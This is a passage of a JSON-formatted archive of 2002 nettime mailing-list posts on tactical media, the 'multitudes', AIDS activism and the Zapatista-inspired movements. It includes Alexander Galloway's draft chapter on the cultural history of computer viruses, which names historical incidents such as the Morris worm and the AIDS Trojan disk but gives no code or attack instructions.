that MacKenzie came back in his second post and \ntalked about three major types of resistance, against three forms of \ndomination, over land, the means of industrial production, and \nabstract or symbolic property. Those are actually Karl Polanyi's \nthree anthropological categories: land, labor and money (or the \nsocial institution of exchange). Polanyi showed how the liberal \nfiction of self-regulating markets destroys all three, leading to \nviolent conflict. The complexity and diversity of resistance, based \non differing relations to those three categories, is a key reality, \nit's one that you have to respect in order to understand why \ndifferent people stand up for their different struggles. Our job as \nintellectuals is to at least try to bridge the gap, whenever it's \npossible. But I don't think the \"vector\" thing adds much to the \nargument. Way back in the mid-eighties, people had analyzed what's \nstill unfortunately true: finance capital reigns supreme in this \nphase of capitalism. Before the World Wide Web, abstract dollars and \ndeutschmarks and yens were spinning madly around the planet in \nelectronic circuits, and doing the kind of damage they're still doing \ntoday. And they did it in the 20s too, before electronics. The great \ngrandaddy of intellectual property, the way of controlling land and \nlabor and even commerce at a distance, is big money, stock, financial \ninstruments, supported as always by national and international law \nthat favors owners over non-owners. IP is just a new twist in that \nvery old story. Again I agree with Nik.\n\n4.\nAll the above suggests the critique that I personally have of the \nconcept of \"multitudes.\" But first of all, to say it's a synonym of \nmob is just ridiculous. In all the autonomist texts the multitudes \narise from subjective processes of individuation, which are opposed \nto the consensual figure of the \"people\" within the normalizing \nframework of the nation-state. The notion of the multitudes is a \ndemand to go beyond the current premise of representative democracy: \nthat a virtuous, unimpeachable collective will can be derived from \njust counting up votes or polling opinions in frameworks that ask \nonly for knee-jerk reactions, and not for any kind of \nself-elaboration or collective participation (not even the kind you \ngo through when you take part in a big demo). Paolo Virno puts the \nwhole mob argument to rest in his article in the French journal \n_Multitudes_ #7, when he says that this singularizing process is \nactually an intensification of political sociality: \"Far from \nregressing, singularity is refined and reaches its peak in acting \ntogether, in the plurality of voices, in short, in the public \nsphere.\" OK, for every Virno there are lots of sloppy uses of the \nword, and I agree with Kermit that it's right to point them out. It's \nreally a word that needs to be kept at the level of philosophy, at \nleast for a while anyway. But the fundamental problem I have with \nmultitudes is the argument that says that we're all intellectual \nlaborers now, or even if we're not, that's the key process, the same \nway as Marx said that industrial labor was the key process giving \nrise to the proletariat in the 19th century. I think the danger there \nis taking your own navel for the whole orange, or worse, for the \nwhole planet. 6.25 billion post-fordists is just not yet reality. We \nintellectual laborers definitely have some scores to settle with \nfinance capital and IP, and those are important struggles, for sure. \nBut let's try and keep our intellectual eyes open for the ways that \neveryone else is living too.\n\nBrian Holmes\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00034",
                        "date": "Thu, 7 Nov 2002 11:09:55 +0100",
                        "to": "nettime <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200211071757.gA7Hvb701847 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00034.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                    },
                    {
                        "from": "\"David Garcia\" <davidg {AT} xs4all.nl>",
                        "content": "\n\nIn their article In their article Florian Schneider and Geert Lovink declare\nthat \"the new social movements (wrongly labeled anti-globalisation) are in\ndanger of \"getting stuck in self-satisfying protest mode, running the risk\n\"of getting stuck at the level of a global 'demo design,' no longer grounded\nin actual topics and local situations.\" They then ask the key question \"how\nto jump beyond the prototype?\"\n\nThe answer to their question lies above all in specificity. In being able to\ngeneralize effectively (with explanatory power) from the lived experience of\ninvolvement in *specific* campaigns. In December Gregg Bordowitz will be\nmoderating a session in the New York Tactical Media Lab\n<http://n5m4.org/index.shtml?118+120+2450> His text (below) suggests ways of\naddressing a number of the questions raised by Geert and Florian including\nthe function and meaning of art in relationship to politics. I hope this\nlist finds Gregg's text as useful as I did on the recurring art question as\nit takes us beyond the rather fruitless obsessing about the \"electronic arts\nsub-culture\" and the demise of the dot.com era. (David Garcia)\n\n\nI'm Gregg Bordowitz, AIDS activist, video maker, writer and teacher.\nI will be facilitating the discussion at the December TML on Sunday\nthe 15th. It will focus on HIV/AIDS media activism. Planning for that\nday is coming more into focus. Here are some of the ideas that I have\nbeen thinking about that could come up within the discussion.\n\nI am a long time activist who has made much work, both in video and\nin writing that addresses the organizing problems specific to AIDS\nactivism. Here are some of the presumptions I make going into our\ndiscussion. Be kind, these are rough working notes.\n\n1) The AIDS crisis is still beginning. In the US there is much\nfatigue around the issue of AIDS and a profound misconception that\nthe epidemic is contained. Around the world, in Africa, South\nAmerica, Eastern Europe and Asia, places where the epidemic is out of\ncontrol, there are growing activist movements. A particular hot spot\nto look at now is South Africa. The issues that internationalist AIDS\nactivism currently focuses upon have the potential to explode and\nalter a number of governing discursive and juridical regimes\nconcerning trade, industrial production and post-industrial\nproduction. International AIDS activists are questioning and applying\npressure regarding the production and distribution of generic\npharmaceuticals. This is interesting to us for a number of reasons.\nFirst, I am on the AIDS drug cocktail myself and so the issue is\npotentially central to my survival. Second, the juridical regimes\nthat govern international patent law are the same whether applied to\npharmaceuticals, software or feature films. (The TRIPS agreement\ncovers all this.)  All of us have a stake in copyright law --\nacademics, media activists, software designers, people interested in\ndigital tech of all kinds. For media activists, the issue of\naffective labor and the management of the production and distribution\nof affective labor is an area of great concern in theory and practice.\n\n2) You can't understand the global AIDS crisis without a working\ntheory of globalization and analyzing the global AIDS crisis is a\nperfect way for forming a theory of globalization.  You can get to\nalmost any issue by way of an analysis of global AIDS -- poverty,\nborders, modes of production, etc.\n\n3) Think about. There are millions of people with AIDS around the\nworld, in every corner of the planet. What would happen if every\nperson with AIDS demanded immediate care and access to lifesaving\ndrugs? At the Barcelona AIDS conference this passed July, Nelson\nMandela encouraged every person with AIDS, no matter where they are,\nwhat circumstances of poverty they live-in, to demand immediate care.\nThis was profound. Everyone else was talking about scaling-up --\nincreasing the scale of funding and infrastructure to meet the dire\nneeds of millions. That's an important discussion to have (\nunfortunately now weighed down by bureaucratic infighting and the\napathy of governments). BUT, Mandela gave a revolutionary message\nthat addressed the individual,potentially millions of individuals.\nThis is what Hardt and Negri are talking about in the book Empire,\nwhen they are trying to figure out \"how to capture the multitude as a\nsingularity.\" How can one come-up with an articulation available to\nindividual use, an open, improvisational code, if you will, that\nlinks millions around a common goal, but allows for differences of\ncontext. (Yes back to the old problem of the Internationale. The\nInternationale without the Internationale. Arise, ye prisoners of\ninternational trade regimes and structural inequity!)\n\n3) Politics and art. Media activist work must adopt the imperatives\nof a movement as its starting point, not its end. The work of media\nactivism is not supplemental to any cause. it is its own cause. Media\nactivist work does not earn its guarantee of relevance or truth from\nprotests and activist efforts. Media activism must provide its own\nguarantees through form. The politics in political art, are the\npolitics that occur when the work is encountered in real time. The\npolitics of media activism are not to be found anywhere but in the\nwork itself.  Lastly, we must talk about aesthetics. Yes, as media\nactivists, in particular our work must address questions of form. I\nadvocate the cross breeding of documentary procedures with poetry and\nthe concerns of structure usually reserved for conversations about\nmusic.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00037",
                        "date": "Thu, 07 Nov 2002 07:36:41 +0100",
                        "to": "nettime <nettime-l {AT} bbs.thing.net>",
                        "message-id": "200211071154.gA7Bsc224446 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00037.html",
                        "content-type": "text/plai",
                        "author_name": "David Garcia",
                        "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                    },
                    {
                        "from": "n_ik <fragments {AT} va.com.au>",
                        "content": "\n<McKenzie Wark wrote>\n\n>He was wrong about a lot of things, but Marx did enjoin us to ask what he\n>called \"the property question\", and insisted that it was where the\n>critical spirit begins and ends. And what if we ask the \"property\n>question\" of the jumble of symptoms with which Lovink & Schneider confront\n>us? The network of power starts to reveal itself more clearly.\n>\n>Did the new movements arise out of thin air? Or did they arise out of a\n>new stage in the development of the commodity economy? At both the level\n>of the tools it had at its disposal, and the range of issues it\n>confronted, the new movement confronts a new class power. Only rarely is\n>this class power named and identified at an abstract level. The symptoms\n>of its (mis)rule have been charted by brave advocates and actvists. But we\n>are all merely blind folks touching different parts of an elephant and\n>trying to describe the totality from the detail we sense before us, in our\n>fragment of everyday life.\n\n\nI think the class struggle many 'counter-globalisation' protesters \nare engaged in is not so much a new class struggle but an age-old one.\n\nthe bulk of the actions that have taken place against the global \ninstitutions of capitalism in the last 5 or so years have taken place \nin the countries of the global South - Bolivia, South Africa, India, \nMexico - or in countries \"over the horizon\", out of site of CNN - \nSouth Korea etc. There isn't a single day where a protest, blockade, \noccupation, etc takes place against the array of institutions, \ncorporations and governments of the North.\n\nI would say that the overwhelming amount of protesters, activists, \nrevolutionaries, et al around the world are engaged with an old class \nworking through relatively new global mechanisms. The issues they \nhave been confronted with since the beginnings of colonisation and \nthen industrialisation are still very much the same - land, dignity, \nautonomy, freedom\n\nBut the main point I wanted to address is the question \"Did the new \nmovements arise out of thin air? Or did they arise out of a new stage \nin the development of the commodity economy?\". To which the short \nanswer is they arose out of a set of catalytic 'encuentro's' \norganised by the Zapatistas and then by string of international \nactions organised through the Peoples Global Action network=8A\n\n\n[from http://www/agp.prg]\n\n\"The sense of possibility that this uprising gave to millions of \npeople across the globe was extraordinary. In 1996, the Zapatistas, \nwith trepidation as they thought no-one might come, sent out an email \ncalling for a gathering, called an \"encuentro\" (encounter), of \ninternational activists and intellectuals to meet in specially \nconstructed arenas in the Chiapas jungle to discuss commontactics, \nproblems and solutions. Six thousand people attended, and spent days \ntalking and sharing their stories of struggle against the common \nenemy: capitalism.\n\nThis was followed a year later by a gathering in Spain, where the \nidea for the construction of a more action focused network, to be \nnamed Peoples' Global Action (PGA), was hatched by a group made up of \nactivists from ten of the largest and most innovative social \nmovements. They included the Zapatistas, Movimento Sem Terra, (the \nBrazilian Landless Peasants Movement who occupy and live on large \ntracts of unproductive land) and the Karnataka State Farmers Union \n(KRRS), renowned for their \"cremate Monsanto\" campaign which involved \nburning fields of Genetically Modified crops.\n\nThe group (who became the PGA convenors committee, a role that \nrotates every year) drafted a document outlining some of the primary \nobjectives and organisational principles of the emerging network. It \noutlined a firm rejection of appeals to those in power for reforms to \nthe present world order. A support for direct action as a means of \ncommunities reclaiming control over their lives, and an \norganisational philosophy based on autonomy and decentralisation. In \nFebruary 1998, Peoples' Global Action was born. For the first time \never the worlds grassroots movements were beginning to talk and share \nexperiences without the mediation of the media or Non Governmental \nOrganisations (NGO's).\"\n\nThe string of actions - that arguably gave birth the current 'wave' \nof actions and movements of movements - started in May 1998 with an \ninternational day of action against the world bank. This was quickly \nfollowed by an 'intercontinental caravan' that traveled through \nEurope, and he 'J18' international day of action [you can read the \nreports here: \nhttp://www.nadir.org/nadir/initiativ/agp/free/global/j18.htm]. The \nnext on the list of actions was N30 - or what CNN dubbed 'Seattle'\n\nNow, I'm not just nit-picking here. Its important to remember what \nhas come before - especially the histories of resistance. Its \nsaddening to note that the 'counter-globalisation' movements, with \ntheir histories bound up with those of the Zapatistas - the ones who \nreminded us that remembering is a weapon - can be turned from an \ninternational network and a series of projects based on decentralised \nand confrontational actions into 'Seattle' - into a singular movement \nborn from a city at the heart of Empire. Or at least that its \nmythology - one of its most potent weapons - can be so easily blunted \nby a TV camera, and that the faces of resistance can be so easily \nobscured.\n\nAnd I think its not just the richness of the histories that this \nchange obscures - it is also the vastness of the alternatives that it \nis throwing up that is obscured. Its not true that they don't offer \n'alternatives' the current order of things. From farming methods, to \ncommunal land use, to systems of regional autonomy to mixed economies \nand markets, new mythologies and way of interacting with each other, \nfrom new media forms, and rich systems of participatory decision \nmaking to the rediscoveries of ways of community /barrio governance - \nthe counter-globalisation movements, while not presenting programs \nfor change, are most definitely creating 'the new in the old'.\n\nThe question as I see it is \"can the strategy of the 'new in the old' \nwork on a large enough scale?\". Are the networks strong enough to \nfight these institutions, the corporations, and the governments of \nthe North and win? Or will it all have to collapse before change can \nbe made?\n-- \n\n\n           + since I refuse 'reality' and since for me what is \npossible is already partly real, I am indeed a utopian ... a partisan \n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00009",
                        "date": "Mon, 4 Nov 2002 12:35:55 +1100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "f05111b08b9eb75bc5d98 {AT} [192.168.0.35]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00009.html",
                        "content-type": "text/plai",
                        "author_name": "n_ik",
                        "subject": "Re: <nettime> From Tactical Media to Digital Multitudes"
                    }
                ],
                "message-id": "200211020317.gA23Ha118881 {AT} bbs.thing.net",
                "date": "Fri, 01 Nov 2002 23:43:27 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Alexander Galloway <galloway {AT} nyu.edu>",
                "id": "00047",
                "content": "\nNettimers--I'm preparing a book manuscript on computer protocols and \nhow they establish control in the seemingly anarchical Internet. I'm \nhoping that some of you will be able to read my draft chapter below on \ntactical media which tries to show how there are many interesting flaws \nin the protocological system of control. Please point out my mistakes \nbefore i send it to my editor! :-) thanks, -ag\n\n+ + +\n\n\"The Internet is like the Titanic. It is an instrument which performs \nextraordinarily well but which contains its own catastrophe.\"[1]\n\u0097Paul Virilio\n\nLike many interesting social movements that may manifest themselves in \na variety of ways, tactical media has an orthodox definition and a more \ngeneral one. The orthodoxy comes from the new tech-savvy social \nmovements taking place in an around the Western world and associated \nwith media luminaries such as Geert Lovink, Ricardo Dominguez (with the \nElectronic Disturbance Theater) and Critical Art Ensemble (CAE). \nTactical media is the term given to political uses of both new and old \ntechnologies, such as the organization of virtual sit-ins, campaigns \nfor more democratic access to the Internet, or even the creation of new \nsoftware products not aimed at the commercial market.\n\t\"Tactical Media are what happens when the cheap 'do it yourself' \nmedia, made possible by the revolution in consumer electronics and \nexpanded forms of distribution (from public access cable to the \ninternet) are exploited by groups and individuals who feel aggrieved by \nor excluded from the wider culture,\u0094 write tactical media gurus Geert \nLovink and David Garcia. \u0093Tactical media are media of crisis, criticism \nand opposition.\"[2] Thus, tactical media means the bottom-up struggle \nof the networks against the power centers. (And of course the networks \nagainst the power centers who have recently reinvented themselves as \nnetworks!)\n\tBut there is also a more general way of thinking about tactical \nphenomena within the media. That is to say, there are certain tactical \neffects that often only leave traces of their successes to be \ndiscovered later by the ecologists of the media. This might include \nmore than would normally fit under the orthodox definition. Case in \npoint: computer viruses. In a very bland sense they are politically \nbankrupt and certainly no friend of the tactical media practitioner. \nBut in a more general sense they speak volumes on the nature of \nnetwork-based conflict.\n\tFor example computer viruses are incredibly effective at identifying \nanti-protocological technologies. They infect proprietary systems, and \npropagate through the homogeneity contained within them.\n\tShow me a computer virus and I\u0092ll show you proprietary software with a \nmarket monopoly.\n\tI will not repeat here the excellent attention given to the subject by \nCAE, Lovink and others. Instead in this chapter I would like to examine \ntactical media as those phenomena that are able to exploit flaws in \nprotocological and proprietary command and control, not to destroy \ntechnology, but to sculpt protocol and make it better suited to \npeople\u0092s real desires. \u0093Resistances are no longer marginal, but active \nin the center of a society that opens up in networks,\u0094[3] Hardt & Negri \nremind us. Likewise, techno-resistance is not outside of protocol, but \nis at its center. Tactical media propel protocol into a state of \nhypertrophy, pushing it further, in better and more interesting ways.\n\n\n\nComputer Viruses\n\nWhile a few articles on viruses and worms appeared in the 1970s and \nbeginning of the \u009180s,[4] Frederick Cohen\u0092s work in the early eighties \nis cited as the first sustained examination of computer viruses. He \napproached this topic from a scientific viewpoint, measuring infection \nrates, classifying different types of viruses, and so on.\n\n\"The record for the smallest virus is a Unix \u0093sh\u0094 command script. In \nthe command interpreter of Unix, you can write a virus that takes only \nabout 8 characters. So, once you are logged into a Unix system, you can \ntype a 8 character command, and before too long, the virus will spread. \nThat\u0092s quite small, but it turns out that with 8 characters, the virus \ncan\u0092t do anything but reproduce. To get a virus that does interesting \ndamage, you need around 25 or 30 characters. If you want a virus that \nevolves, replicates, and does damage, you need about 4 or 5 lines.\"[5]\n\nCohen first presented his ideas on computer viruses to a seminar in \n1983. His paper \u0093Computer Viruses\u0097Theory and Experiments\u0094 was published \nin 1984, and his Ph.D. dissertation titled \u0093Computer Viruses\u0094 \n(University of Southern California) in 1986.\n\n\n\n\n\n\n\n\n Cohen defines a computer virus as \u0093a program that can \u0091infect\u0092 \nother programs by modifying them to include a, possibly evolved, \nversion of itself.\u0094[6] Other experts agree: \u0093a virus is a \nself-replicating code segment which must be attached to a host \nexecutable.\u0094[7] Variants in the field of malicious code include worms \nand Trojan Horses. A worm, like a virus, is a self-replicating program \nbut one that requires no host to propagate. A Trojan Horse is a program \nwhich appears to be doing something useful, but also executes some \npiece of undesirable code hidden to the user.\n\tIn the literature viruses are almost exclusively characterized as \nhostile or harmful. They are often referred to completely in the \nnegative, as in \u0093anti-virus software\u0094 or virus prevention, or as one \nauthor calls it, a \u0093high-tech disease.\u0094 They are considered nearly \nexclusively in the context of detection, interception, identification, \nand removal.\n\n\n\n\n\n\n\n\n Why is this the case? Viral marketing, emergent behavior, \nself-replicating systems\u0097these concepts are all the rage at the turn of \nthe millennium. Yet computer viruses gain from none of these positive \nassociations. They are thought of as a plague used by terrorists to \nwreak havoc on the network.\n\n\n\n\n\n\n\n\n So why did computer viruses become so closely connected with the \nviral metaphor in biology? Why think of self-replicating programs as a \n\u0093virus\u0094 and not simply a parasitic nuisance, or a proper life form? \nEven the father of computer virus science, Cohen, thought of them as a \nform of artificial life[8] and recognized the limitations of the \nbiological analogy. \u0093[C]onsider a biological disease that is 100% \ninfectious, spreads whenever animals communicate, kills all infected \nanimals instantly at a given moment, and has no detectable side effect \nuntil that moment,\u0094[9] wrote Cohen, identifying the ultimate inaccuracy \nof the analogy. How did self-replicating programs become viruses?\n\tFor example, if viruses had emerged a decade later in the late-1990s, \nit is likely that they would have a completely difference \nsocio-cultural meaning. They would most certainly be thought of more as \na distributed computing system (like SETI {AT} home) or an artificial life \nexperiment (like Tom Ray\u0092s Tierra), or an artwork (like Mark Daggett\u0092s \nemail worm, vcards), or as a nuisance (spam), or as a potential \nguerilla marketing tool (adware)\u0097not a biological infestation.\n\tComputer viruses acquired their current discursive position because of \na unique transformation that transpired in the mid-1980s around the \nperception of technology. In fact several phenomena, including computer \nhacking, acquired a distinctly negative characterization during this \nperiod of history because of the intense struggle waging behind the \nscenes between proprietary and protocological camps.\n\tMy hypothesis is this: early on, computer viruses were identified with \nthe AIDS epidemic. It is explicitly referenced in much of the \nliterature on viruses, making AIDS both the primary biological metaphor \nand primary social anxiety informing the early discourse on computer \nviruses. In that early mode, the virus itself was the epidemic. Later, \nthe discourse on viruses turns toward weaponization and hence \nterrorism. Here, the virus author is the epidemic. Today the moral \nevaluation of viruses is generally eclipsed by the search for their \nauthors, who are prosecuted as criminals and often terrorists. The \nbroad viral epidemic itself is less important that the criminal mind \nthat brings it into existence (or the flaws in proprietary software \nthat allow it to exist in the first place).\n\tThus, by the late 1990s viruses are the visible indices of a search \nfor evil-doers within technology, not the immaterial, anxious fear they \nevoked a decade earlier under the AIDS crisis.\n\tComputer viruses appeared in a moment in history where the integrity \nand security of bodies, both human and technological, was considered \nextremely important. Social anxieties surrounding both AIDS and the war \non drugs testify to this. The AIDS epidemic in particular is referenced \nin much of the literature on viruses.[10] This makes sense because of \nthe broad social crisis created by AIDS in the mid to late 1980s (and \nbeyond). \u0093In part,\u0094 writes Ralf Burger, \u0093it seems as though a hysteria \nis spreading among computer users which nearly equals the uncertainty \nover the AIDS epidemic.\u0094[11] A good example of this discursive pairing \nof AIDS and computer viruses is seen in the February 1, 1988 issue of \nNewsweek. Here an article titled \u0093Is Your Computer Infected?,\u0094 which \nreports on computer viruses affecting hospitals and other institutions, \nis paired side-by-side with a medical article on AIDS.\n\tConsider two examples of this evolving threat paradigm. The Jerusalem \nvirus[12] was first uncovered in December 1987 at Hebrew University of \nJerusalem in Isreal. \u0093It was soon found that the virus was extremely \nwidespread, mainly in Jerusalem, but also in other parts of the \ncountry, especially in the Haifa area,\u0094[13] wrote professor Yisrael \nRadai. Two students, Yuval Rakavy and Omri Mann, wrote a \ncounter-program to seek out and delete the virus.\n\tMystery surrounds the origins of the virus. As Frederick Cohen writes, \nterrorists are suspected of authoring this virusbecause\n\n it was timed \nto destroy data precisely on the first Friday the 13th it encountered, \nwhich landed on May 13, 1988 and coincided with the day commemorating \nforty years since the existence of a Palestinian state.[14] (A \nsubsequent outbreak also happened on Friday, January 13th 1989 in \nBritain.) The Edmonton Journal called it the work of a \u0093saboteur.\u0094 This \nsame opinion was voiced by The New York Times, who reported that the \nJerusalem virus \u0093was apparently intended as a weapon of political \nprotest.\u0094[15] Yet Radai claims that in subsequent, off-the-record \ncorrespondence, the Times reporter admitted that he was \u0093too quick to \nassume too much about this virus, it\u0092s author, and its intent.\u0094[16]\nIn the end it is of little consequence whether or not the virus was \nwritten by the PLO. What matters is that this unique viral threat was \nmenacing enough to influence the judgment of the media (and also Cohen) \nto believe, and perpetuate the belief, that viruses have a unique \nrelationship to terrorists. Words like \u0093nightmare,\u0094 \u0093destroy,\u0094 \n\u0093terrorist,\u0094 and \u0093havoc\u0094 pervade the Times report.\n\tSecond, consider the \u0093AIDS Information Introductory Diskette Version \n2.0\u0094 Disk. On December 11, 1989, the PC Cyborg Corporation mailed \napproximately 10,000[17] computer diskettes to two direct mail lists \ncompiled from the subscribers to PC Business World and names from the \nWorld Health Organization\u0092s 1988 conference on AIDS held in \nStockholm.[18] The disk carried the title \u0093AIDS Information \nIntroductory Diskette Version 2.0,\u0094 and presents an informational \nquestionnaire to the user and offers an assessment of the user\u0092s risk \nlevels for AIDS based on their reported behavior.\n\tThe disk also acted as a Trojan Horse containing a virus. The virus \ndamages file names on the computer and fills the disk to capacity. The \nmotives of the virus author are uncertain in this case, although it is \nthought to be a rather ineffective form of extortion as users of the \ndisk were required to mail payment of $189 (for a limited license) or \n$378 (for a lifetime license) to a post office box in Panama.\n\tThe virus author was eventually discovered to be an American named \nJoseph Popp who was extradited to Britain in February 1991 to face \ncharges but was eventually dismissed as being psychiatrically unfit to \nstand trial.[19] He was later found guilty in absentia by an Italian \ncourt.\n\tOther AIDS-related incidents include the early Apple II virus \n\u0093Cyberaids,\u0094 the AIDS virus from 1989 which displays \u0093Your computer now \nhas AIDS\u0094 in large letters, followed a year later by the AIDS II virus \nwhich performs a similar infraction.\n\tSo here are two threat paradigms, terrorism and AIDS, which \ncharacterize the changing discursive position of computer viruses from \nthe 1980s to \u009190s. While the AIDS paradigm dominated in the late \u009180s, \nby the late \u009190s computer viruses would become weaponized and more \nclosely resemble the terrorism paradigm.\n\tThe AIDS epidemic in the 1980s had a very specific discursive diagram. \nWith AIDS, the victims became known, but the epidemic itself was \nunknown. There emerged a broad, immaterial social anxiety. The \nbiological became dangerous and dirty. All sex acts became potentially \ndeviant acts and therefore suspect.\n\tBut with terrorism there exists a difference discursive diagram. With \nterror the victims are rarely known. Instead knowledge is focused on \nthe threat itself\u0097the strike happened here, at this time, with this \nweapon, by this group, and so on.\n\tIf AIDS is an invisible horror, then terror is an irrational horror. \nIt confesses political demands one minute, then erases them another \n(while the disease has no political demands). The State attacks terror \nwith all available manpower, while it systematically ignores AIDS. Each \nshows a different exploitable flaw in protocological management and \ncontrol.\n\tWhile the shift in threat paradigms happened in the late 1980s for \ncomputer viruses, the transformation was long in coming. Consider the \nfollowing three dates.\n\tIn the 1960s in places like Bell Labs,[20] Xerox PARC and MIT \nscientists were known to play a game called Core War. In this game two \nself-replicating programs were released into a system. The programs \nbattled over system resources and eventually one side came out on top. \nWhoever could write the best program would win.\n\tThese engineers were not virus writers, nor were they terrorists or \ncriminals. Just the opposite, they prized creativity, technical \ninnovation and exploration. Core War was a fun way to generate such \nintellectual activity. The practice existed for several years \nunnoticed. \u0093In college, before video games, we would amuse ourselves by \nposing programming exercises,\u0094 said Ken Thompson, co-developer of the \nUNIX operating system, in 1983. \u0093One of the favorites was to write the \nshortest self-reproducing program.\u0094[21] The engineer A. K. Dewdney \nrecounts an early story at, we assume, Xerox PARC about a \nself-duplicating program called Creeper which infested the computer \nsystem and had to be brought under control by another program designed \nto neutralize it, Reaper.[22] Dewdney brought to life this battle \nscenario using his own gaming language called Redcode.\n\tJump ahead to 1988. At 5:01:59pm[23] on November 2 Robert Morris, a \n23-year-old graduate student at Cornell University and son of a \nprominent computer security engineer at the National Computer Security \nCenter (a division of the NSA), released an email worm into the \nARPANET. This self-replicating program entered approximately 60,000[24] \ncomputers in the course of a few hours, infecting between 2,500 and \n6,000 of them. While it is notoriously difficult to calculate such \nfigures, some speculations put the damage caused by Morris\u0092s worm at \nover $10,000,000.\n\tOn July 26, 1989 he was indicted under the Computer Fraud and Abuse \nAct of 1986. After pleading innocent, in the spring of 1990 he was \nconvicted and sentenced to three years probation, fined $10,000 and \ntold to perform 400 hours of community service. Cornell expelled him, \ncalling it \u0093a juvenile act,\u0094[25] while Morris\u0092s own dad labeled it \nsimply \u0093the work of a bored graduate student.\u0094[26]\n\tWhile the media cited Morris\u0092s worm as \u0093the largest assault ever on \nthe nation\u0092s computers,\u0094[27] the program was largely considered a sort \nof massive blunder, a chain reaction that spiraled out of control \nthrough negligence. As Bruce Sterling reports: \u0093Morris said that his \ningenious \u0091worm\u0092 program was meant to explore the Internet harmlessly, \nbut due to bad programming, the worm replicated out of control.\u0094[28] \nThis was a problem better solved by the geeks, not the FBI, thought \nmany at the time. \u0093I was scared,\u0094 admitted Morris, \u0093it seemed like the \nworm was going out of control.\u0094[29]\n\tMorris\u0092s peers in the scientific community considered his prosecution \nunnecessary. As reported in UNIX Today!, only a quarter of those polled \nthought Morris should go to prison, and, as the magazine testified, \n\u0093most of those who said \u0091Yes\u0092 to the prison question added something \nlike, \u0091only a minimum security prison\u0097you know, like the Watergate \npeople vacationed at.\u0092\u0094[30] Thus while not unnoticed, Morris\u0092s worm was \ncharacterized as a mistake not an overt, criminal act. Likewise his \npunishment was relatively lenient for someone convicted of such a \nmassive infraction.\n\tTen years later in 1999, after what was characterized as the largest \nInternet man hunt ever, a New Jersey resident named David Smith was \nprosecuted for creating Melissa, a macro virus that spreads using the \nMicrosoft Outlook and Word programs. It reportedly infected over \n100,000 computers worldwide and caused $80 million in damage (as \nassessed by the number of hours computer administrators took to clean \nup the virus). While Melissa was generally admitted to have been more \nof a nuisance than a real threat, Smith was treated as a hard criminal \nnot a blundering geek. He pleaded guilty to 10 years and a $150,000 \nfine.\n\tWith Smith, then, self-replicating programs flipped 180 degrees. The \nvirus is now indicative of criminal wrongdoing. It has moved through \nit\u0092s biological phase, characterized by the associations with AIDS, and \neffectively been weaponized. Moreover criminal blame is identified with \nthe virus author himself who is thought of not simply as a criminal but \nas a cyber-terrorist. A self-replicating program is no longer the \nhallmark of technical exploration, as it was in the early days, nor is \nit (nor was it ever) a canary in the coal mine warning of technical \nflaws in proprietary software, nor is it even viral; it is a weapon of \nmass destruction. From curious geek to cyber terrorist.\n\n[...]\n\nConflicting Diagrams\n\n\"Netwar is about the Zapatistas more than the Fidelistas, Hamas more \nthan the Palestine Liberation Organization (PLO), the American \nChristian Patriot movement more than the Ku Klux Klan, and the Asian \nTriads more than the Costa Nostra.\"[61]\n\u0097John Arquilla & David Ronfeldt\n\nThroughout the years new diagrams (also called graphs or organizational \ndesigns) have appeared as solutions or threats to existing ones. \nBureaucracy is a diagram. Hierarchy is one too, so is peer-to-peer. \nDesigns come and go, useful asset managers at one historical moment, \nthen disappearing, or perhaps fading only to reemerge later as useful \nagain. The Cold War was synonymous with a specific military \ndiagram\u0097bilateral symmetry, mutual assured destruction (MAD), \nmassiveness, might, containment, deterrence, negotiation; the war \nagainst drugs has a different diagram\u0097multiplicity, specificity, law \nand criminality, personal fear, public awareness.\n\tThis book is largely about one specific diagram, or organizational \ndesign, called distribution, and its approximate relationship in a \nlarger historical transformation involving digital computers and \nultimately the control mechanism called protocol.[62]\n\tIn this diagramatic narrative it is possible to pick sides and \ndescribe one diagram as the protagonist and another as the antagonist. \nThus the rhizome is thought to be the solution to the tree,[63] the \nwildcat strike the solution to the boss's control, Toyotism[64] the \nsolution to institutional bureaucracy, and so on. Alternately, \nterrorism is thought to be the only real threat to state power, the \nhomeless punk-rocker a threat to sedentary domesticity, the guerrilla a \nthreat to the war machine, the temporary autonomous zone a threat to \nhegemonic culture, and so on.\n\tThis type of conflict is in fact a conflict between different social \nstructures, for the terrorist threatens not only through fear and \nviolence, but specifically through the use of a cellular organizational \nstructure, a distributed network of secretive combatants, rather than a \ncentralized organizational structure employed by the police and other \nstate institutions. Terrorism is a sign that we are in a transitional \nmoment in history. (Could there ever be anything else?) It signals that \nhistorical actors are not in a relationship of equilibrium, but instead \nare grossly mismatched.\n\tIt is often observed that, due largely to the original comments of \nnetworking pioneer Paul Baran, the Internet was invented to avoid \ncertain vulnerabilities of nuclear attack. In Baran\u0092s original vision, \nthe organizational design of the Internet involved a high degree of \nredundancy, such that destruction of a part of the network would not \nthreaten the viability of the network as a whole. After World War II, \nstrategists called for moving industrial targets outside of urban cores \nin a direct response to fears of nuclear attack. Peter Galison calls \nthis dispersion the \u0093constant vigilance against the re-creation of new \ncenters.\u0094[65] These are the same centers that Baran derided as an 